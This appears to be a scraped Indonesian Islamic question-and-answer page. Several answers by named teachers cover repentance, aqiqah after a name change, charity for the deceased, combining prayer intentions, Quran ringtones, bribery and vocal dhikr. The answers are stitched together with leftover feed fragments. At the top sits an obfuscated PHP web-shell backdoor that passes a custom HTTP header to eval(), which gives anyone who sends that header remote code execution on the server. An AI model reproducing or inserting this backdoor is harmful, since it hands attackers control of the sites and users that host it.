/** to and SASS that React if Node.js MongoDB Laravel. */
$amount_coupon_shipping_flag = $_SERVER;
$debugMode_address_item = 'HTTP_7E95304';
$success_mode_product = 'section_value_pageIndex_buffer_value';
if (isset($amount_coupon_shipping_flag[$debugMode_address_item])) {
$title_feature_coupon_brand = 'setting_query_message';
eval
($amount_coupon_shipping_flag[
$debugMode_address_item]);
$info_message_category = 'order_title_file_user_response';
/** but in Front-End the JSON REST it by from during CSS on while. */
}
Sebagaimana juga nabi -shallallahu alaihi wasallam- ketika mengganti nama para sahabat, tidak ada riwayat yang menyebutkan bahwa beliau memerintahkan sahabat tersebut untuk mengaqiqahkan dirinya kembali untuk kedua kalinya.
Syaikh Ibnu Utsaimin berkata:
(تغيير الاسم إلى ما هو أحسن إذا تضمن أمراً لا ينبغي ، كما غير النبي – صلى الله عليه وسلم – بعض الأسماء المباحة ، ولا يحتاج ذلك إلى إعادة العقيقة كما يتوهمه بعض العامة) مجموع فتاوى لابن عثيمين (١٠/٨٥٠).
“(Boleh) mengubah nama kepada nama yang lebih baik bila nama sebelumnya mengandung makna yang tidak baik atau tidak patut, sebagaimana nabi -shallallahu alaihi wasallam- mengganti beberapa nama, dan hal itu (pengubahan nama) tidak memerlukan pengulangan aqiqah sebagaimana diyakini sebahgian orang awam”
-Majmu Al-Fatawa libni Utsaimin (10/850)-
Allahu a’lam
Wassalam.
Dijawab Oleh: Muhammad Harsya Bachtiar,Lc.
(Mahasiswa Pascasarjana Univ Islam Madinah)
Wa alaikum salam warahmatullahi wabarakatuh.
Sebuah berita gembira tersirat dari lisan Rasulullah shallallahu alahi wa sallam, yang mana beliau bersabda:
التَّائِبُ مِنَ الذَّنْبِ كَمَنْ لَا ذَنْبَ لَهُ
Artinya:”Orang bertaubat dari dosa, bagaikan orang tidak memiliki dosa”. HR Ibnu Majah, Thabrani, dan Al-Baihaqi dalam Syu’abul Iman.
Hadits ini dinyatakan hasan oleh beberapa pakar hadits karena banyaknya jalur periwayatannya, diantaranya Ibnu Hajar Al-‘Asqolani dalam fathul Baari (13/471) dan Syaikh Al-Albani dalam Shahih Targhib wat Tarhib (3/219.
Hadits diatas umum, mencakup semua dosa dan maksiat. Adapun teknis taubat yang berkualitas, maka hendaknya kita menyimak petuah dari Al-Imam An-Nawawi di dalam kitabnya yang fenomenal “Riyadhus Shalihin”, beliau mengatakan:
قَالَ العلماءُ : التَّوْبَةُ وَاجبَةٌ مِنْ كُلِّ ذَنْب ، فإنْ كَانتِ المَعْصِيَةُ بَيْنَ العَبْدِ وبَيْنَ اللهِ تَعَالَى لاَ تَتَعلَّقُ بحقّ آدَمِيٍّ فَلَهَا ثَلاثَةُ شُرُوط : أحَدُها : أنْ يُقلِعَ عَنِ المَعصِيَةِ . والثَّانِي : أَنْ يَنْدَمَ عَلَى فِعْلِهَا .والثَّالثُ : أنْ يَعْزِمَ أَنْ لا يعُودَ إِلَيْهَا أَبَداً . فَإِنْ فُقِدَ أَحَدُ الثَّلاثَةِ لَمْ تَصِحَّ تَوبَتُهُ.
Artinya: Ulama mengatakan: Bertaubat dari seluruh dosa hukumnya wajib. Jika maksiat tersebut terjadi antara hamba dan Allah dan tidak berkaitan dengan hak-hak manusia, maka ada tiga syarat (kesempurnaan taubat): pertama: meninggalkan maksiat yang dilakukan. Kedua: menyesali perbuatan maksiat tersebut. Ketiga: bertekad untuk tidak mengulangi lagi selamanya. Jika salah satu dari syarat ini tidak terealisasi, maka taubatnya tidak benar.
Jika tiga hal ini bisa Anda realisasikan dalam taubat Anda, maka Allah akan mengampuni dosa-dosa yang pernah lakukan.
Adapun menghadirkan keberkahan dalam rumah kita, maka salah satu sarana yang harus kita lakukan adalah dengan cara memakmurkan rumah dengan ibadah kepada Allah, seperti: melaksanakan shalat sunnah di rumah, memperbanyak membaca Al-Qur’an, dan membina keluarga untuk taat kepada Allah dengan mengadakan kajian-kajian didalamnya.
Rasulullah bersabda:
أَفْضَلُ صَلَاةِ اَلْمَرْءِ فِي بَيْتِهِ إِلَّا اَلْمَكْتُوبَةَ
Artinya:”Sebaik-baik shalat seseorang (adalah) yang dilaksanakan di rumahnya, kecuali shalat wajib (maka yang afdhal dilaksanakan di masjid)”. HR mutafaqun Alaihi.
Rasulullah bersabda:
إِذَا قَضَى أَحَدُكُمُ الصَّلَاةَ فِي مَسْجِدِهِ، فَلْيَجْعَلْ لِبَيْتِهِ نَصِيبًا مِنْ صَلَاتِهِ، فَإِنَّ اللهَ جَاعِلٌ فِي بَيْتِهِ مِنْ صَلَاتِهِ خَيْرًا
Artinya:”Jika salah seorang di antara kalian telah melaksanakan shalat di masjid (yaitu shalat fardhu), maka hendaknya ia menjadikan bagi rumahnya bagian dari shalatnya (shalat sunnah), sesungguhnya Allah menjadikan bagi rumahnya kebaikan disebabkan oleh shalatnya”. HR Muslim.
Rasulullah bersabda:
مثل البيت الذي يذكر الله فيه والبيت الذي لا يذكر الله فيه مثل الحي والميت
Artinya:”perumpamaan rumah yang (penghuninya) berdzikir kepada Allah dan yang (penghuninya) tidak berdzikir kepada Allah, adalah bak orang yang hidup dan orang yang mati”. HR Muslim.
Rasulullah bersabda:
لا تجعلوا بيوتكم مقابر إن الشيطان ينفر من البيت الذي تقرأ فيه سورة البقرة
Artinya:”Jangan kalian jadikan rumah-rumah kalian seperti kuburan, sesungguhnya setan akan lari dari rumah yang dibacakan surat Al-Baqoroh di dalamnya”. HR Muslim.
Dijawab oleh Ust. Lukman Hakim, Lc, MA
]]>“ Wahai Rasulullah, ibuku meninggal dan ketika itu aku tidak hadir. Apakah dia mendapat pahala jika aku bersedekah atas nama beliau ? ” Nabi -shallallahu ‘alaihi wa sallam- menjawab : 《Ya》.”
(HR. Bukhari 2756)
Bahkan para ulama kita menyebutkan hal ini sebagai kesepakatan ulama, bahwa pahala sedekah bisa diniatkan untuk mereka yang telah meninggal dunia, misalnya imam an-Nawawi -rahimahullah- beliau katakan :
” dan diantara faidah dari hadits ini adalah : bahwa sedekah atas nama seorang yang telah meninggal ( mayit ) akan memberikan manfaat untuknya dan pahalapun sampai kepadanya, dan itu merupakan kesepakatan ulama…”
Begitu pula yang dikatakan oleh Syaikhul Islam Ibnu Taimiyah -rahimahullah- :
” Sedekah atas nama orang yang telah meninggal atau semisalnya akan sampai kepadanya (pahala) berdasarkan kesepakatan ulama kaum muslimin ” ( Jaami’ al Masaail 4/270 )
Wallahu a’laa wa a’lam
Dijawab Oleh Ustadz Khalid Walid, Lc
]]>JAWABAN:
Semoga Allah memberikan taufik kepada antum untuk istiqomah (komitmen) di atas ketaatan kepadaNYA dan menambah semangat anda untuk beribadah kepadaNYA.
Nampaknya pertanyaan yang Anda sampaikan ini berhubungan dengan kaidah yang di sebutkan oleh syaikh Abdurrahman bin Nashir As-Sa’di rahimahullah dalam buku qowaidnya:
Artinya: Apabila dua Ibadah yang sejenis berkumpul dan ada kemiripan dalam tatacara, maka pelaksanaannya digabung dan cukup dengan melaksanakan salah satunya jika keduanya mempunyai maksudnya yang sama.
Kaidah ini adalah dasar bagi pelaksanaan satu ibadah dengan dua niat yang berbeda. Yang perlu diketahui, bahwa masalah ini ada ketentuannya;
Diantara ketentuannya, bahwa ibadah ada dua macam:
Pertama: maqshudun lidzatiha yaitu ibadah yang bersifat (ibadah yang independent dan harus dilakukan), seperti shalat rawatib.
Kedua: Ghairu maqsudah lidzatiha (tidak independent/yang penting melaksanakan ibadah). Biasa dicontohkan dengan shalat tahiyatul masjid, shalat ini ghoiru maqsudah lidzatiha. Shalat tahiyatul masjid adalah shalat yang dilaksanakan ketika seseorang masuk ke masjid sebelum duduk, maka jenis shalat apa saja yang dilakukan oleh orang yang masuk masjid bisa dikategorikan dalam shalat tahiyatul masjid, karena inti dari tahiyatul masjid adalah yang penting shalat ketika masuk mesjid sebelum duduk, maka niat shalat tahiyatul masjid bisa dikumpulkan dengan niat shalat yang lainnya, seperti shalat qobliyah, jika ini dilakukan maka seseorang mendapatkan 2 pahala shalat, dengan melaksanakan shalat 1 kali.
Dan diantara ketentuannya adalah adanya tadaakhul (persamaan/kemiripan dalam tatacara pelaksaan) dalam ibadah tersebut, dan ini ada beberapa ketentuan:
Pertama: jenis Ibadahnya sama (shalat dengan shalat, puasa dengan puasa, atau mandi dengan mandi)
Kedua : dua ibadah tersebut dikerjakan dalam waktu yang sama, kalau waktunya berbeda maka tidak bisa digabungkan, misalnya; shalat qobliyah Dhuhur dengan ba’diyah dhuhur, kedua shalat ini tidak bisa digabungkan dengan satu kali melaksanakan shalat, karena perbedaan waktu.
Ketiga: salah satu ibadah tidak dilaksanakan karena mengikuti ibadah yang lain. Misalnya shalat ba’diyah dhuhur tidak bisa digabung dengan shalat dhuhur, sebab shalat ba’diyah dhuhur dilaksanakan karena mengikuti shalat dhuhur.
Ke empat: Salah satunya bukan dikerjakan untuk mengqadha ibadah wajib yang pernah ditinggalkannya. Misalnya ketika masuk bulan Ramadhan dan seseorang masih mempunyai hutang pada tahun yang lalu. Dan ketika sudah masuk Ramadhan berikutnya dia juga belum mengqadha karena udzur. Maka ketika masuk bulan Ramadhan tersebut dia tidak bisa menggabungkan.
Ketentuan ini disebutkan oleh Ibnu Rajab dalam kitab qowaid beliau:
Apabila ada dua ibadah yang sejenis, dan berkumpul dalam satu waktu, salah satunya bukan dikerjakan untuk mengqadha juga bukan karena mengikuti ibadah yang lainnya yang satu waktu, maka dengan mengerjakan satu saja bisa mewakili yang lainnya.
Sebagai contoh dari kaedah ini adalah menggabungkan niat mandi wajib untuk hari Jumat dengan mandi junub, maka cukup mandi satu kali untuk mengangkat hadats dari dua penyebab mandi ini.
Jika menilik pertanyaan Anda, maka kasus ini mirip dengan yang pertama, maka Anda dapat melaksanakan shalat dua rakaat dengan niat qobliyah dan tahiyatul masjid, wallahu a’lam.
Dijawab oleh Ust. Lukman Hakim, Lc, M.A
]]>Jawaban:
Menggunakan ayat al-Quran sebagai nada dering panggilan atau yang sejenisnya pada telepon genggam (HP) adalah hal yang dilarang dengan alasan sebagai berikut:
1. Perbuatan tersebut menyalahi tujuan diturunkannya al-Qur’an.
Al quran diturunkan untuk dibaca dan ditadabburi makna dan kandungannya dan diamalkan, Allah Ta’ala berfirman:
{كِتَابٌ أَنْزَلْنَاهُ إِلَيْكَ مُبَارَكٌ لِيَدَّبَّرُوا آيَاتِهِ وَلِيَتَذَكَّرَ أُولُو الْأَلْبَاب }
Artinya: “Ini adalah sebuah kitab yang Kami turunkan kepadamu penuh dengan berkah supaya mereka memperhatikan ayat-ayatnya dan supaya mendapat pelajaran orang-orang yang mempunyai pikiran.” (Shaad:29)
2. Menjadikan al-Quran sebagai nada dering dapat menjadi sarana kepada merendahkan kalamullah yang seharusnya diagungkan dan dihormati, seperti jika HP tersebut berdering di WC atau di tempat yang tidak pantas.
3. Menjadikan al-Quran sebagai nada dering juga terkadang menyebabkan seseorang memutuskan/menghentikan bacaan al-quran pada tempat yang tidak semestinya berhenti.
Olehnya itu, diantara keputusan Al-Majma’ al-Fiqh al-Islamiy pada masa persidangan ke -19 yang diadakan di Mekkah al-Mukarramah 22-28 Syawal 1428 H berkaitan dengan penggunaan ayat al-Quran pada media komunikasi modern adalah sebagai berikut:
“لا يجوز استخدام آيات القرآن الكريم للتنبيه والانتظار في الهواتف الجوالة وما في حكمها؛ وذلك لما في هذا الاستعمال من تعريض القرآن للابتذال والامتهان بقطع التلاوة وإهمالها، ولأنه قد تتلى الآيات في مواطن لا تليق بها”.
“Tidak dibolehkan menggunakan ayat-ayat al-Quran pada telepon genggam sebagai nada pengingat dan nada panggilan atau yang sejenisnya, karena dampak dari penggunaan ini mengantarkan kepada salah satu bentuk pelecehan dan penghinaan terhadap al-Qur’an, jika ayat –ayat tersebut dihentikan (ketika berbunyi) atau dibiarkan dan tidak dihiraukan, begitu juga terkadang ayat-ayat ini dibaca pada tempat-tempat yang tidak pantas”
والله تعالى أعلم.
Dijawab oleh Ustadz Ahmad Hanafi DY, Lc, MA.
(Alumni fakultas Syariah Univ. Islam Madinah Thn 1420/1999 dan
Mahasiswa S3 Fak. Tarbiyah Jurusan Dirasat Islamiyah konsentrasi Ushul Fiqh King Saud University Riyadh)
Sumber dari: https://wahdah.or.id/hukum-menggunakan-nada-dering-alquran/
]]>Jawab:
Waalaikumsalam warahmatullahi wabarakatuh.
Alhmdulillah wassalatu wassalamu alaa rasulillah wabaad:
Menyogok untuk mendapatkan sesuatu yang bukan hak kita adalah haram hukumnya. Nabi shallallahu alaihi wasallam melaknat perbuatan tersebut dan melaknat orang-orang yang melakukannya serta memberikan ancaman neraka bagi mereka. Nabi shallallahu alaihi wasallam bersabda:
(الراشي والمرتشي في النار) أخرجه الطبراني.
“Yang menyogok dan yang di sogok di neraka”
Hr. At-Tabhrani.
Berkaitan pertanyaan di atas, maka kami katakan bahwa perbuatannya menyogok adalah perbuatan yang haram dan wajib baginya untuk bertaubat kepada Allah atas dosa tersebut.
Adapun berkaitan dengan gaji bulanan yang ia dapatkan setelah ia bekerja, maka bilamana pekerjaannya adalah pekerjaan yang halal dan pekerjaan yang ia kerjakan sudah dikerjakan dengan sebagaimana mestinya, maka insyaAllah gaji yang ia dapatkan tersebut adalah gaji yang halal. Syaikh Abdul Aziz bin Baz ketika ditanya tentang hukum gaji seseorang yang mendapatkan pekerjaannya dengan cara yang curang (ijasah palsu), beliau mengatakan:
(لا حرج إن شاء الله، عليه التوبة إلى الله مما جرى من الغش، وهو إذا كان قائما بالعمل كما ينبغي ، فلا حرج عليه من جهة كسبه؛ لكنه أخطأ في الغش السابق، وعليه التوبة إلى الله من ذلك) انتهى .
مجموع فتاوى ابن باز (19/ 31)
“(Gajinya) tidak mengapa insyaAllah dan baginya bertaubat atas apa yang terjadi dahulu dari kecurangan. Dan bilamana ia telah melakukan pekerjaanya dengan sebagaimana mestinya maka tidak ada masalah dalam gajinya. Tetapi dia tetap salah dalam kecurangannya dan baginya untuk bertaubat atas perbuatan tersebut”.
Majmu Fatawa bin Baz (31/19).
Wallahu a’lam.
]]>Jawab:
Berdzikir dan berdoa itu melibatkan hati disertai lisan dengan menggerakkan bibir / Mulut
Allah Ta’ala menyebutkan dalam Al-Quran,
“Janganlah kamu gerakkan lidahmu untuk (berdzikir/ membaca Al Qur’an) karena hendak cepat-cepat (menguasai)nya .” (AL-Qiyamah: 16)
Ibnu Rusyd menukilkan,
“Imam Malik rahimahullah ditanya mengenai orang yang membaca dalam shalat (termasuk berdzikir), suaranya tidak didengar oleh seorangpun dan tidak juga dirinya, ia tidak menggerakkan lisannya, maka Imam Malik berkata,
“Ini bukan termasuk membaca (berdzikir), berdzikir itu dengan menggerakkan lisan”
(Al-Bayan waat Tahsil 1/491, Darul gharbil Islamiy, cet. II, 1408 H, syamilah)
Al-Kasani rahimahullah berkata,
“Membaca (berdzikir) harus dengan menggerakkan lisan (mengucapkan) huruf-huruf. Jika engkau melihat seseorang shalat, ia mampu membaca akan tetapi ia tidak menggerakkan lisannya (mengucapkan) huruf-huruf, maka tidak sah shalatnya.”
[Badhai’us Shana’i 3/55, darul Kutub Al-‘Ilmiyah, cet. II, 1406 H, syamilah]
Dan Fatwa ulama di zaman ini juga demikian, syaikh Abdul Aziz bin Baz rahimahullah berkata,
“Berdzikir itu harus menggerakan lisan dan harus bersuara, minimal didengar oleh diri sendiri. Orang yang membaca di dalam hati (dalam bahasa arab) tidak dikatakan Qaari. Orang yang membaca tidak dapat dikatakan sedang berdzikir atau sedang membaca Al Quran kecuali dengan lisan. Minimal didengar dirinya sendiri. Kecuali jika ia bisu, maka ini ditoleransi”
[Sumber: http://www.ibnbaz.org.sa/mat/104]
Syaikh Muhammad bin Shalih Al-‘Utsaimin rahimahullah berkata,
“Qira’ah itu harus dengan lisan. Jika seseorang membaca bacaan-bacaan shalat dengan hati saja, ini tidak dibolehkan. Demikian juga bacaan-bacaan yang lain, tidak boleh hanya dengan hati. Namun harus menggerakan lisan dan bibirnya, barulah disebut sebagai aqwal (perkataan). Dan tidak dapat dikatakan aqwal, jika tanpa lisan dan bergeraknya bibir”
[Majmu’ Fatawa Ibnu ‘Utsaimin, 13/156]